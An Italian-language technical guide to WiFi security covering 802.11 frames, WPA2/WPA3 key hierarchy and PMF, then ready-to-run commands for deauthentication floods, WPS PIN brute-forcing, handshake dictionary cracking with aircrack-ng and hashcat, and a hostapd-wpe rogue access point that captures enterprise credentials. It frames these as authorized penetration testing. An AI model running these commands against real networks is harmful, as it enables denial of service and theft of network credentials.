Sicurezza delle Reti Wireless: Guida Tecnica sulle Tecniche di Attacco WiFi, Contromisure Difensive e Analisi della Sicurezza

Fondamenti del Protocollo WiFi e Evoluzione della Sicurezza

Stack del Protocollo WiFi: PHY, MAC e Architettura dei Frame

IEEE 802.11 opera su due livelli principali. Il Physical Layer (PHY) gestisce la modulazione, la codifica e la trasmissione RF—evolvendo da DSSS/CCK in 802.11b attraverso OFDM in 802.11a/g fino a OFDMA in 802.11ax (WiFi 6). Il Medium Access Control (MAC) Layer gestisce l'accesso al canale tramite CSMA/CA con backoff esponenziale, l'indirizzamento dei frame, la frammentazione e la gestione dell'alimentazione. A differenza del CSMA/CD di Ethernet, il WiFi non può rilevare collisioni durante la trasmissione; si affida alla clear channel assessment e ai frame di acknowledgment.

I frame MAC portano quattro distinti campi indirizzo in certe modalità—un artefatto dei wireless distribution system (WDS) e dei formati frame a quattro indirizzi per il bridging AP-to-AP. La maggior parte del traffico utilizza tre indirizzi: destinazione, sorgente e BSSID.

Tipo di Frame	Scopo	Rilevanza per la Sicurezza
Management	Autenticazione, associazione, beacon, probe	Storicamente non autenticati; 802.11w aggiunge protezione dell'integrità
Control	RTS/CTS, ACK, Block Ack	Nessun payload; protezione frame tramite disciplina di sequenza
Data	Trasmissione payload utente	Cifrato sotto PTK/GTK; sottotipi QoS in 802.11e

La struttura del frame segue questo ordine: Frame Control (2 byte), Duration/ID, campi Address, Sequence Control, QoS Control (se presente), HT Control (se presente), Frame Body (0–2304 byte), FCS (CRC-32). I bit Type e Subtype del campo Frame Control determinano la gestione; i bit To DS/From DS controllano l'interpretazione degli indirizzi.

Catturare e ispezionare frame 802.11 raw con:

# Richiede interfaccia in monitor mode e privilegi root
sudo airmon-ng start wlan0
sudo tcpdump -i wlan0mon -e -s 0 -w beacon_capture.pcap 'type mgt subtype beacon'

Cosa fa: Mette l'interfaccia in monitor mode, cattura frame 802.11 di Layer 2 inclusi header radiotap con metadati del segnale. Il filtro limita ai frame beacon. Quando usarlo: Rilevamento di base, rilevamento AP rogue, analisi dell'utilizzo del canale. Rischi: La monitor mode interrompe il normale funzionamento della stazione; le catture possono includere dati sensibili di broadcast SSID. Output atteso: File PCAP con frame 802.11 raw visualizzabili in Wireshark o tshark.

tshark -r beacon_capture.pcap -T fields -e wlan.bssid -e wlan.ssid -e wlan.rsn.ie.akms.type -c 10

f8:e4:e3:12:34:56	CorpWiFi	00
f8:e4:e3:12:34:57	CorpWiFi	00
00:14:d1:ab:cd:ef	GuestNet	02

Interpretazione: Il campo akms.type rivela la gestione delle chiavi di autenticazione: 00 = 802.1X (enterprise), 02 = PSK (personal). Il BSSID duplicato con MAC incrementale suggerisce molteplici AP sullo stesso SSID—normale per deployment enterprise.

Evoluzione dei Meccanismi di Sicurezza: Da WEP a WPA3

La progressione da WEP a WPA3 non è un miglioramento incrementale ma una sostituzione architetturale. Ogni generazione ha affrontato fallimenti fondamentali:

Generazione	Cifrario	Derivazione della Chiave	Debolezza Critica
WEP	RC4	Chiave statica 40/104-bit + IV 24-bit	Riutilizzo IV; recupero keystream RC4; nessuna integrità oltre CRC-32
WPA/TKIP	RC4 con key mixing per-pacchetto	4-way handshake da PSK o 802.1X	Michael MIC troppo debole; deprecato 2012
WPA2-Personal	AES-CCMP (128-bit)	PMK da PBKDF2(HMAC-SHA1, passphrase, SSID, 4096 iterazioni)	Attacco dizionario offline su cattura 4-way handshake
WPA2-Enterprise	AES-CCMP	PMK da scambio chiave 802.1X/EAP	RADIUS rogue; fallimenti validazione certificati
WPA3-Personal	AES-CCMP o AES-GCMP-256	SAE (Simultaneous Authentication of Equals)	Trasmissioni side-channel in implementazioni early; vulnerabilità dragonblood
WPA3-Enterprise	GCMP-256 (obbligatorio)	Modalità sicurezza 192-bit	Complessità implementativa; attacchi downgrade se modalità transizionale abilitata

L'SAE di WPA3 sostituisce lo scambio PSK con uno scambio di chiavi autenticato da password basato su logaritmi discreti o crittografia a curve ellittiche. A differenza di WPA2-Personal, la conoscenza della password non produce il PMK; non c'è materiale da attaccare offline. Tuttavia, implementazioni early hanno trasmesso informazioni di timing abilitando il recupero side-channel—patchate, ma un promemoria che la correttezza della specifica non garantisce la sicurezza dell'implementazione.

Meccanismi Crittografici: CCMP, GCMP e SAE

CCMP (Counter Mode with CBC-MAC Protocol) combina AES-128 in modalità CTR per confidenzialità con CBC-MAC per integrità. La struttura di 8-ottetti MIC e 8-ottetti IV/nonce impone un overhead di 16 ottetti per MPDU. GCMP (Galois/Counter Mode Protocol) sostituisce CBC-MAC con GHASH, abilitando operazione parallela e throughput maggiore—obbligatorio nella modalità 192-bit di WPA3-Enterprise, opzionale in WPA3-Personal.

SAE opera in due fasi:

Commit: Ogni peer genera coppia scalar/element, trasmette pubblicamente. La maschera derivata dalla password assicura il contributo della password.
Confirm: Entrambe le parti derivano segreto condiviso, confermano mutua derivazione.

La Pairwise Master Key (PMK) risultante è specifica per sessione; anche password identiche producono PMK distinti per associazione.

Gerarchia delle Chiavi e il Four-Way Handshake

Comprendere la derivazione delle chiavi è prerequisito per analizzare attacchi di cattura handshake o risolvere fallimenti di roaming.

Chiave	Derivazione	Ambito	Durata
PSK	Passphrase utente o hex 64 caratteri	Solo modalità personal	Statico fino a riconfigurazione
PMK	PSK via PBKDF2, o export chiave EAP	Per-sessione	Durata associazione
PTK	PRF(PMK, "Pairwise key expansion", ANonce‖SNonce‖MAC_AP‖MAC_STA)	Per coppia STA/AP	Rekeyed o vincolato a sessione
GTK	Generato AP, cifrato in EAPOL-Key	Broadcast/multicast	Rekeying di gruppo periodico

Il four-way handshake (802.11i-2004, Clausola 8.5.3) deriva PTK da nonce e indirizzi MAC:

Messaggio 1 (AP→STA): ANonce, key info (unicast, key ACK, key MIC)
Messaggio 2 (STA→AP): SNonce, key info (unicast, key MIC, encrypted key data include RSNE)
Messaggio 3 (AP→STA): Installazione GTK, key info (unicast, install, key ACK, key MIC, encrypted key data)
Messaggio 4 (STA→AP): Conferma finale

La vulnerabilità nonce reuse (KRACK, 2017) ha sfruttato il Messaggio 3 ritrasmettuto forzando il reset del nonce nella variante GTK handshake, abilitando replay e decrittazione. La fix: non reinstallare mai chiavi già in uso.

Ispezionare lo stato dell'handshake con:

# Lab: Analizzare completezza handshake e comportamento nonce
tshark -r wpa_handshake.pcap -Y "eapol" -T fields -e frame.number -e wlan.fc.retry \
  -e eapol.keydes.nonce -e eapol.keydes.key_info.key_mic -e eapol.keydes.key_info.install

Cosa fa: Estrae campi frame EAPOL-Key per verificare completezza handshake e rilevare anomalie (flag retry, nonce ripetuti, timing del bit install). Quando usarlo: Validare qualità cattura per hashcat/aircrack, investigare varianti KRACK, risolvere fallimenti roaming. Rischi: L'analisi PCAP è passiva; nessun impatto di rete. Output atteso: Sequenza tabellare mostrando progressione nonce e stato bit install.

frame.number	eapol.keydes.nonce	key_mic	install
142	ANonce_value...	1	0
144	SNonce_value...	1	0
146	ANonce_value...	1	1
148	(empty)	1	0

Flag retry su Messaggio 1 o 3 meritano scrutinio—attaccanti attivi iniettano ritrasmissioni per sfruttare la logica di reinstallazione.

802.11w: Protected Management Frames

Il problema persistente: i frame di management devono propagarsi a tutte le stazioni, incluse quelle non associate, precludendo la cifratura standard. 802.11w (PMF) fornisce protezione dell'integrità e resistenza al replay senza confidenzialità—le stazioni ignorano deautenticazione, disassociazione o annunci di channel switch rogue contraffatti.

PMF richiede CCMP o GCMP; non può operare con TKIP. Il deployment utilizza association comebacks con procedure SA Query per prevenire che disassociazione spoofata forzi una piena riautenticazione—critico per applicazioni sensibili alla latenza e fast-secure roaming (802.11r).

Verificare la capacità PMF nei frame beacon:

# Lab: Estrarre capacità RSN incluso MFP (Management Frame Protection)
tshark -r survey.pcap -Y "wlan.fc.type_subtype == 0x08" -T fields \
  -e wlan.bssid -e wlan.ssid -e wlan.rsn.ie.capabilities.mfp \
  | sort | uniq -c | sort -rn | head -20

Cosa fa: Analizza frame beacon per bit capacità MFP: 0 = no PMF, 1 = capable (opzionale), 2 = required. Quando usarlo: Rilevamento pre-deployment, analisi gap compliance, rilevamento AP rogue (impostazioni PMF inconsuete). Rischi: Solo passivo. Output atteso: Lista BSSID con annotazione di frequenza e postura PMF.

  47 f8:e4:e3:12:34:56	CorpWiFi	2
  12 00:14:d1:ab:cd:ef	GuestNet	0
   3 f8:e4:e3:12:34:57	CorpWiFi	1

Interpretazione: 2 significa PMF required—associazione senza negoziazione PMF rifiutata. 1 è "capable," permettendo downgrade. 0 è assente. L'entry 1 sullo stesso SSID suggerisce deployment transizionale o misconfigurazione che invita attacchi downgrade.

Framework 802.1X/EAP per Autenticazione Enterprise

I deployment enterprise disaccoppiano AP dalla verifica delle credenziali. L'AP agisce come authenticator, inoltrando frame EAP a un RADIUS authentication server (AS) via 802.1X. Il metodo EAP—PEAP, EAP-TLS, EAP-TTLS, EAP-FAST—determina la superficie di vulnerabilità.

Metodo	Tunneling	Credenziale	Modalità di Fallimento Comune
PEAP-MSCHAPv2	TLS outer, inner MSCHAPv2	Username/password	Bypass inner authentication; password deboli crackabili da challenge/response
EAP-TLS	Mutual TLS	Client certificate	Onere gestione lifecycle certificati; dipendenza disponibilità CRL/OCSP
EAP-TTLS	TLS outer, inner legacy PAP/CHAP	Variabile	Downgrade metodo inner

Misconcezione critica: "Enterprise è più forte di Personal" dipende interamente dall'implementazione. PEAP-MSCHAPv2 con password deboli e senza validazione certificato server è più debole di WPA3-Personal con password SAE forte. Il confine enterprise aggiunge identity management e revocazione centralizzata, non superiorità crittografica intrinseca.

Errori comuni in deployment WiFi enterprise:

Errore	Perché ti colpisce
EAP-TLS senza OCSP stapling o distribuzione CRL	Certificati revocati autenticano indefinitamente; dispositivi rogue con cert rubati persistono
PEAP con anonymous outer identity e nessuna validazione cert server	Evil twin cattura challenge/response MSCHAPv2 inner; cracking hash offline segue
Fast-secure roaming (802.11r) senza PMF	Gerarchia chiavi FT derivata da frame plaintext; flood deauth forzano riautenticazione per collezionare PMK-R0/PMK-R1
Modalità transizionale WPA3-Enterprise abilitata	Downgrade a WPA2-Enterprise accettato; GCMP-256 mai negoziato

Approfondimento Derivazione Chiavi: Da PMK a PTK

La costruzione PRF conta per validazione forense:

PTK = PRF-512(PMK, "Pairwise key expansion", Min(ANonce,SNonce) ||
              Max(ANonce,SNonce) || Min(MAC_AP,MAC_STA) || Max(MAC_AP,MAC_STA))

La Key Confirmation Key (KCK) e la Key Encryption Key (KEK) sono estratte da PTK per calcolo MIC e cifratura key data rispettivamente. In 802.11r fast BSS transition, la gerarchia si estende a PMK-R0 (mantiene su AP/controller) e PMK-R1 (distribuita all'AP target), riducendo latenza di autenticazione a costo di complessità distribuzione chiavi—controller compromessi espongono materiale chiave più ampio.

Intuizione pratica: Le catture handshake per attacco WPA2-Personal funzionano offline perché la derivazione PSK-to-PMK (4096 iterazioni PBKDF2) è deterministica per coppia SSID/passphrase. Lo SSID agisce da salt—rainbow tables mirano SSID comuni. Cambiare lo SSID default da "linksys" fornisce protezione marginale contro tabelle precompute ma zero protezione contro computazione PBKDF2 mirata con GPU. L'SAE di WPA3 elimina interamente questo vettore di attacco rendendo il PMK non derivabile dalla sola password.

Approfondimenti

Avvio rapido: Toolkit essenziale per i test di sicurezza WiFi

Preparazione dell'Interfaccia e Modalità Monitor

Ogni test inizia con l'interfaccia wireless nello stato corretto. Le convenzioni sui nomi variano: wlan0 è l'interfaccia in modalità managed; wlan0mon è l'interfaccia in modalità monitor creata da airmon-ng, mentre alcuni driver (ad esempio, rtl88xxau moderni) mantengono wlan0 e cambiano modalità sul posto.

# Identifica la tua interfaccia wireless
ip link show | grep wl

# Termina i processi che interferiscono con la modalità monitor, poi avviala
sudo airmon-ng check kill
sudo airmon-ng start wlan0

# Verifica che la modalità monitor sia attiva
iwconfig wlan0mon

Cosa fa: check kill termina NetworkManager, wpa_supplicant e dhclient per prevenire conflitti di channel-hopping. start wlan0 crea l'interfaccia virtuale monitor. Quando usarlo: Prima di qualsiasi operazione di cattura, iniezione o scansione. Rischi: Ti disconnette da qualsiasi rete WiFi legittima; su sistemi headless, assicurati un accesso alternativo (Ethernet, console seriale) o pianifica con at. Output atteso: wlan0mon appare in iwconfig con Mode:Monitor; se vedi Mode:Managed, il chipset o il driver non supporta la modalità monitor.

Lab: Usa airmon-ng per una naming prevedibile delle interfacce. Produzione: Su sistemi dove check kill è troppo distruttivo, usa iw direttamente: sudo iw dev wlan0 set type monitor e gestisci le esclusioni di NetworkManager via nmcli.

Errore	Perché ti penalizza
Dimenticare `check kill`	Il supplicant in background salta canali, corrompendo le catture
Presupporre che `wlan0mon` esista	Alcuni driver riutilizzano `wlan0`; gli script si rompono su nomi hardcoded
Eseguire su porta USB 3.0 adiacente a radio 2.4 GHz	Il rumore USB 3.0 a 2.4 GHz alza il noise floor di 10-20 dB, uccidendo il range

Scansione dei Canali e Identificazione del Target

airodump-ng è il cavallo di battaglia per scoprire reti e client associati. Per default salta i canali a scacchiera; bloccati su un canale target per catture pulite.

# Scansione ampia su 2.4 GHz e 5 GHz
sudo airodump-ng wlan0mon --band abg

# Scansione mirata sul canale 36, con scrittura su file
sudo airodump-ng wlan0mon -c 36 --bssid 00:11:22:33:44:55 -w /tmp/capture

Output di esempio:

 CH 36 ][ Elapsed: 2 mins ][ 2024-01-15 09:42 ][ WPA2 handshake: 00:11:22:33:44:55

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:11:22:33:44:55  -42      452        12    0  36  54e. WPA2 CCMP   PSK  CorpWiFi
 00:11:22:33:44:66  -67      210         0    0  36  54e. WPA2 CCMP   PSK  GuestWiFi

 BSSID              STATION            PWR   Rate    Lost    Frames  Notes
 00:11:22:33:44:55  AA:BB:CC:DD:EE:FF  -45    1e- 1e     0      142  wpa2 handshake

Cosa fa: -c 36 blocca il canale per evitare perdite da cambio canale; --bssid filtra il rumore; -w scrive pcap per analisi successiva. Quando usarlo: Fase di ricognizione e durante la cattura dell'handshake per verificare la presenza del target. Rischi: La scansione ampia espone il tuo MAC address nelle probe request; usa --essid con MAC falso se testi sistemi di rilevamento. Output atteso: WPA2 nella colonna ENC, CCMP per AES (non TKIP), PSK o MGT (Enterprise) in AUTH. handshake in Notes conferma il completamento della cattura.

Il campo PWR è relativo alla calibrazione della tua scheda, non a dBm assoluti. Una lettura di -42 su un chipset può risultare -55 su un altro. Usalo per ranking comparativo, non per mappatura della copertura.

Cattura dell'Handshake e Iniezione di Deautenticazione

Il 4-way handshake WPA2 contiene il PMKID e il MIC crittografato necessari per il cracking offline della PSK. Se i client sono inattivi, stimola la riautenticazione con frame di deauth.

# Cattura con monitoraggio client, canale bloccato
sudo airodump-ng wlan0mon -c 36 --bssid 00:11:22:33:44:55 -w /tmp/handshake

# In secondo terminale: deautenticazione mirata (5 frame, client-specific)
sudo aireplay-ng -0 5 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon

# Deautenticazione broadcast (tutti i client) — maggiore disruption
sudo aireplay-ng -0 5 -a 00:11:22:33:44:55 wlan0mon

Cosa fa: -0 5 invia 5 frame di deautenticazione; -a è l'AP target; -c è il MAC specifico del client. Quando usarlo: Quando airodump-ng mostra client connessi ma nessun handshake dopo diversi minuti. Rischi: La deauth broadcast è un denial-of-service; il targeting client-specific è più stealth ma ancora rilevabile da qualsiasi analizzatore di frame 802.11. Output atteso: airodump-ng stampa WPA handshake: 00:11:22:33:44:55 in alto a destra; la dimensione del file pcap salta di ~2-4 KB.

Lab: Usa -c mirato con 5-10 frame. Produzione / validazione rilevamento: Limita a 1-2 frame, o usa solo cattura passiva durante finestre di manutenzione note.

⚠️ Solo uso autorizzato e difensivo. L'iniezione di deautenticazione è indistinguibile da un attacco denial-of-service. Distribuiscila solo in ambienti lab o durante valutazioni di sicurezza wireless esplicitamente autorizzate con approvazione scritta dello scope.

Test del PIN WPS

WiFi Protected Setup (WPS) resta abilitato su dispositivi consumer e alcuni apparati enterprise. Il PIN è di 8 cifre ma diviso in due metà con verificatori, riducendo drasticamente lo spazio di brute-force.

# Approccio classico con Reaver
sudo reaver -i wlan0mon -b 00:11:22:33:44:55 -vv -c 36

# Bully — spesso più veloce su chipset moderni, gestisce meglio i lockout
sudo bully -b 00:11:22:33:44:55 -c 36 -v 3 wlan0mon

Cosa fa: Entrambi gli strumenti eseguono brute-force dei PIN WPS, derivano la PSK dalla risposta del registrar. Quando usarlo: Il target mostra WPS nell'output di airodump-ng (versione 1.0/2.0). Rischi: Molti AP bloccano il WPS dopo 3-10 tentativi per ore; il test rapido attiva log evidenti. Output atteso: WPS PIN: 12345678 poi WPA PSK: ActualPassword123. I lockout stampano WARNING: Detected AP rate limiting.

La codebase originale di Reaver è stagnata; l'attuale release stabile di bully gestisce più elegantemente il recupero da lockout basati su NACK. Se WPS 2.0 è imposto con lockout stretto, nessuno strumento ha successo—questo è il segnale che il target è stato irrobustito contro questo vettore.

Attacco Dizionario WPA2-PSK

Con un handshake catturato, testa i candidati password offline. Nessuna ulteriore interazione radio richiesta.

# Verifica la presenza dell'handshake
sudo aircrack-ng /tmp/handshake-01.cap

# Esegui attacco dizionario
sudo aircrack-ng /tmp/handshake-01.cap -w /usr/share/wordlists/rockyou.txt -b 00:11:22:33:44:55

Output di esempio:

Reading packets, please wait...

Aircrack-ng 1.x

                         [00:00:12] 143002 keys tested (11234.56 k/s)

      KEY FOUND! [ Corporate2024! ]

Master Key     : A1 B2 C3 ...

Cosa fa: -w specifica la wordlist; -b filtra per BSSID target in catture multi-rete. Quando usarlo: Dopo la cattura dell'handshake; scala a hashcat con output -J per accelerazione GPU. Rischi: Gli attacchi dizionario puri falliscono contro passphrase casuali; usa solo per validare la conformità alle policy. Output atteso: KEY FOUND! con plaintext, o messaggio di esaurimento. 1 handshake nel summary iniziale conferma cattura valida; 0 handshakes significa ricatturare.

Conversione per hashcat con speedup GPU:

aircrack-ng /tmp/handshake-01.cap -J /tmp/handshake_hccapx
hashcat -m 2500 /tmp/handshake_hccapx.hccapx /usr/share/wordlists/rockyou.txt

Deploy Rapido di Rogue AP con hostapd-wpe

hostapd-wpe semplifica l'attacco a WPA/WPA2-Enterprise impersonando la rete target e catturando credenziali EAP o relaying dell'autenticazione interna.

# Installa dal repository OpenSecurityResearch (controlla l'ultima release)
# Clona, build con patch WPE, o usa il pacchetto della distribuzione se disponibile

# Deploy base — clona SSID target, modalità Enterprise
sudo hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf

hostapd-wpe.conf minimale:

interface=wlan0
ssid=CorpWiFi
channel=36
wpa=2
wpa_key_mgmt=WPA-EAP
wpa_pairwise=CCMP
ieee8021x=1
eap_server=1
eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user
ca_cert=/etc/hostapd-wpe/certs/ca.pem
server_cert=/etc/hostapd-wpe/certs/server.pem
private_key=/etc/hostapd-wpe/certs/server.key
private_key_passwd=whatever
success_return=1

Cosa fa: Crea rogue AP; i client con validazione certificati malconfigurata si connettono ed espongono EAP-Response/Identity (username in chiaro) e potenzialmente credenziali interne. Quando usarlo: Audit wireless enterprise autorizzati per testare la validazione certificati del supplicant. Rischi: Active man-in-the-middle; qualsiasi client connesso instrada traffico attraverso il tuo sistema a meno di isolamento. Output atteso: EAP-Response/Identity: CORP\jdoe stampato a console; MSCHAPv2 o GTC challenge-response catturato nel log.

L'outer identity di EAP-TLS espone username di dominio reali prima dell'instaurazione del tunnel TLS—questo è comportamento del protocollo, non flaw di implementazione. Il fallimento più profondo è la validazione certificati server rotta: la maggior parte dei supplicant viene distribuita con default permissivi, e gli utenti abitualmente cliccano attraverso gli avvisi di certificato.

Deploy di Kismet Drone per Monitoraggio Distribuito

Kismet supporta sorgenti di cattura remote che alimentano un server centrale, abilitando il monitoraggio 802.11 distribuito senza GUI completa sui nodi edge.

# Drone headless: hardware minimale (Raspberry Pi 4, adattatore USB)
sudo kismet_cap_linux_wifi --connect 198.51.100.10:3501 --source wlan0:name=site1,channels="1,6,11,36,40,44,48"

# Server centrale con web UI
sudo kismet --no-ncurses

Cosa fa: kismet_cap_linux_wifi esegue solo il binario di cattura; alimenta pacchetti al server Kismet centrale via TCP. Quando usarlo: Deploy permanente o semi-permanente di sensori, wardriving con hardware minimale, o siti che richiedono molteplici punti di osservazione. Rischi: Rilevare client sconosciuti che si uniscono a reti—tecnicamente possibile—varia in legalità per giurisdizione e contesto di autorizzazione; devono essere definite policy di retention dei log. Output atteso: Web UI su http://198.51.100.10:2501 mostra la sorgente remota site1 con lista canali e dispositivi rilevati.

L'installazione suid-root di Kismet permette agli utenti nel gruppo kismet di aggiungere sorgenti di cattura via interfaccia web senza sudo. Se i pacchetti della tua distribuzione mancano di questo, serve sudo o aggiustamento manuale delle capability. Il modello di permessi esatto dell'attuale release stabile può variare—verifica con la documentazione del tuo pacchetto.

Checklist di Verifica dell'Autorizzazione

Verifica	Convalida
Esiste autorizzazione scritta	Documento di scope firmato dal proprietario della rete o delegato con autorità legale
Confini del target definiti	SSID, BSSID, canali, indirizzi fisici specifici—non "l'edificio"
Timebox applicato	Date di inizio e fine, con contatto di emergenza per terminazione anticipata
SSID corrispondono all'autorizzazione	Il deploy di rogue AP usa solo nomi target esplicitamente permessi
Isolamento del traffico configurato	Rogue AP bridged a null/NAT per prevenire esposizione accidentale a Internet dei client
Log conservati per policy	Handshake catturati, credenziali, file pcap criptati a rest, data di distruzione fissata
Frame deauth documentati	Ogni iniezione loggata con timestamp, target, conteggio, giustificazione
Test WPS scoped	Recupero da lockout tentato solo se esplicitamente permesso; interrompi al primo report di outage non pianificato

Un file di cattura senza documentazione di catena di custodia è forensicamente inutile. Etichetta il tuo output -w con data, riferimento test case e iniziali operatore al momento della creazione—non durante la scrittura del report due settimane dopo.

Letture consigliate

Launching Kismet - Kismet

Ricognizione ed Enumerazione degli Obiettivi

Rilevamento Passivo vs. Attivo

La prima decisione nella ricognizione wireless è se ascoltare silenziosamente o sondare l'ambiente. Il rilevamento passivo pone l'adattatore in modalità monitor e registra ogni frame 802.11 su un canale sintonizzato. Questo non lascia alcuna impronta radio—nessuna richiesta di associazione, nessuna richiesta di probe con il tuo indirizzo MAC, nessun pattern di burst rivelatore che un WIDS potrebbe segnalare. Il compromesso è il tempo: catturi solo ciò che l'infrastruttura e i client trasmettono organicamente. Su canali silenziosi, potresti aspettare minuti per un burst di beacon o un probe client.

Il rilevamento attivo invia richieste di probe dirette o broadcast, attivando risposte AP e accelerando la risoluzione SSID. Dipinge anche un bersaglio sulla tua radio. Le firme WIDS enterprise segnalano routinariamente flood di probe con cambio rapido di canale, e alcune contromisure (gestione risorse radio basata su AP, selezione dinamica canale) altereranno l'ambiente target in risposta. Per valutazione difensiva autorizzata, il rilevamento attivo appartiene a finestre di laboratorio controllate; per enumerazione baseline di produzione, la raccolta passiva su finestre estese produce dati più puliti.

Cosa fa: Cattura tutto il traffico 802.11 su un canale specificato senza unirsi a nessun BSS. Quando usarlo: Mappatura topologia baseline, valutazione stealth, o quando hai bisogno di sequenze di frame per il troubleshooting dei fallimenti di associazione. Rischi: Il cambio di canale senza disciplina frammenta la cattura; i client potrebbero essere su un canale che manchi per minuti. Output atteso: Frame 802.11 raw con header radiotap inclusi metadati di potenza segnale, canale e data rate.

# Lab: Imposta interfaccia in modalità monitor, fissa canale per evitare gap di hopping
sudo ip link set wlan0 down
sudo iw wlan0 set monitor none
sudo ip link set wlan0 up
sudo iw wlan0 set channel 36 HT20

# Verifica modalità e canale
iw dev wlan0 info

Variante produzione: Usa finestre di cattura più brevi (5–10 minuti per canale) con rotazione di canale scriptata piuttosto che hopping manuale continuo. Registra i tempi di permanenza sul canale per correlare con traffico mancato successivamente.

Tipi di Frame 802.11: Riferimento sul Campo

I bit Type e Subtype del campo Frame Control determinano tutto sulla rilevanza di sicurezza di un frame. I filtri di visualizzazione di Wireshark si basano direttamente su queste classificazioni.

Tipo di Frame	Esempi Subtype	Rilevanza Sicurezza	Filtro di Visualizzazione Chiave
Management (0)	Beacon, Probe Request/Response, Authentication, Association Request/Response, Deauthentication, Disassociation	Topologia BSS, capacità, enumerazione client, superficie di attacco per spoofing	`wlan.fc.type == 0`
Control (1)	RTS, CTS, ACK, Block ACK	Prenotazione mezzo, mitigazione nodo nascosto; raramente contiene dati di sicurezza direttamente	`wlan.fc.type == 1`
Data (2)	Data, Null, QoS Data, Data+CF-Ack	Traffico upper-layer incapsulato; lo stato di protezione rivela WPA2/WPA3 vs. aperto	`wlan.fc.type == 2`
Extension (3)	Riservato/non comune	Non tipicamente incontrato in ricognizione standard	`wlan.fc.type == 3`

Subtype critici per ricognizione:

Subtype	Valore Decimale	Filtro	Cosa Rivelano
Beacon	8	`wlan.fc.subtype == 8`	Capacità AP, SSID (o vuoto per hidden), RSN IE, supporto 802.11w, canale, rate
Probe Request	4	`wlan.fc.subtype == 4`	SSID desiderati dal client (diretti) o wildcard (broadcast); rivela target di roaming
Probe Response	5	`wlan.fc.subtype == 5`	Risposta AP a probe; dati comparabili al beacon ma attivati
Authentication	11	`wlan.fc.subtype == 11`	Numeri di sequenza autenticazione; tipo algoritmo (Open System vs. SAE)
Association Request	0	`wlan.fc.subtype == 0`	Capacità client, rate supportati, RSN IE dalla prospettiva client

Intuizione conquistata con fatica: Un AP con "SSID nascosto" non omette il suo beacon—invia frame beacon con un elemento SSID vuoto (length 0). L'SSID trapelo in probe response a client legittimi e in frame di association request da quei client. Una cattura passiva nel tempo recupera quasi sempre il nome senza probing attivo.

Scoperta SSID Nascosto e Enumerazione Client

Catturare la fuga di SSID:

# Cattura beacon e traffico diretto sul canale target
sudo tcpdump -i wlan0 -w hidden_ssid.pcap -e -s 0 \
    'type mgt and (subtype beacon or subtype assoc-req or subtype reassoc-req or subtype probe-resp)'

Filtri di visualizzazione Wireshark per analisi post-cattura:

# Isola AP con SSID vuoto nei beacon ma SSID altrove
wlan.fc.subtype == 8 && !(wlan.ssid) && wlan.bssid == 00:11:22:33:44:55
# Poi cerca lo stesso BSSID con SSID non vuoto in altri frame
wlan.bssid == 00:11:22:33:44:55 && wlan.ssid

Enumerazione client da probe request—i client rivelano reti preferite e a volte se stessi:

# Tutti i probe request (broadcast e diretti)
wlan.fc.type == 0 && wlan.fc.subtype == 4

# Raggruppa per SSID sondato—rivela cronologia di roaming del client
tshark -r capture.pcap -Y 'wlan.fc.subtype == 4' -T fields \
    -e wlan.sa -e wlan.ssid | sort | uniq -c | sort -rn

Interpretazione output campione:

     42 6a:3c:4f:12:89:ab CorpWiFi
     17 6a:3c:4f:12:89:ab GuestNet
      9 6a:3c:4f:12:89:ab [EMPTY: broadcast probe]

Il client 6a:3c:4f:12:89:ab si è associato precedentemente a CorpWiFi; il probe broadcast suggerisce che non è riuscito a trovare una rete preferita ed è ricaduto sulla discovery wildcard. Il prefisso MAC potrebbe essere randomizzato (vedi sotto).

Elementi Informativi RSN: Lettura dello Stato di Protezione

L'RSN IE in beacon e probe response codifica la differenza tra WPA2-PSK, WPA2-Enterprise, WPA3-SAE, e se la protezione frame di gestione (802.11w) è richiesta o opzionale.

Filtri Wireshark per parsing delle capacità:

# Reti con qualsiasi RSN IE presente (non WEP, non aperte)
wlan.rsn

# 802.11w obbligatorio (MFP richiesto)
wlan.rsn.capabilities.mfpr == 1

# 802.11w opzionale (MFP capace ma non imposto)
wlan.rsn.capabilities.mfpc == 1 && wlan.rsn.capabilities.mfpr == 0

# WPA3-SAE (Authentication Key Management suite selector 00-0F-AC:8)
wlan.rsn.akms.suites == 00-0f-ac:08

Posizione Campo RSN IE	Significato per Valutazione
Group Cipher Suite	Crittografia broadcast/multicast: tipicamente CCMP (00-0F-AC:4) o GCMP-256 per WPA3-Enterprise
Pairwise Cipher Suite Count	Solitamente 1; voci multiple suggeriscono modalità transizione o misconfigurazione
AKM Suite List	PSK (00-0F-AC:2), 802.1X (00-0F-AC:1), SAE (00-0F-AC:8), FT-SAE (00-0F-AC:9)
Bit 6-7 RSN Capabilities	MFPC (bit 6: capace), MFPR (bit 7: richiesto)—insieme definiscono la postura 802.11w

Cosa fa: Il filtro wlan.rsn isola reti protette moderne; combinato con selector AKM suite identifica WPA3 vs. modalità transizione legacy. Quando usarlo: Prioritizzare target di valutazione per livello di hardening, o rilevare reti capaci di downgrade. Rischi: Leggere "capace" come "imposto" lascia falsa fiducia; verificare sempre MFPR.

Randomizzazione Indirizzo MAC: Impatto sul Tracciamento

I client moderni randomizzano gli indirizzi MAC nelle richieste di probe per prevenire il tracciamento. Questo rompe l'enumerazione naive del client per MAC sorgente ma non tutti i metodi di correlazione.

Rilevamento pattern di randomizzazione:

Indicatore	Tecnica	Limitazione
Bit localmente amministrato (U/L = 1 nel primo ottetto)	`wlan.sa[0] & 0x02 == 0x02`	Non tutti i MAC random lo impostano; alcune implementazioni usano range globalmente unici
Mismatch OUI	`wlan.sa[0:3] != wlan.tag.oui` in vendor-specific IE	Raramente presente nei probe request
Gap numeri di sequenza	`wlan.seq` salta senza pattern di rollover	Tracciamento stateful attraverso burst di probe; fallisce se il client tace
Timing/fingerprinting	Intervallo inter-probe, rate supportati, ordinamento IE	Euristico; richiede dati di training

Quando la randomizzazione è attiva, pivotare l'enumerazione alla correlazione comportamentale: liste SSID probe, capacità 802.11 (HT/VHE capabilities, bitmap extended capabilities), e vendor-specific IE. Un client che sonda gli stessi cinque SSID attraverso multipli MAC random è ancora un unico client per scopi di threat modeling.

Analisi Spettrale e Interferenza Non-WiFi

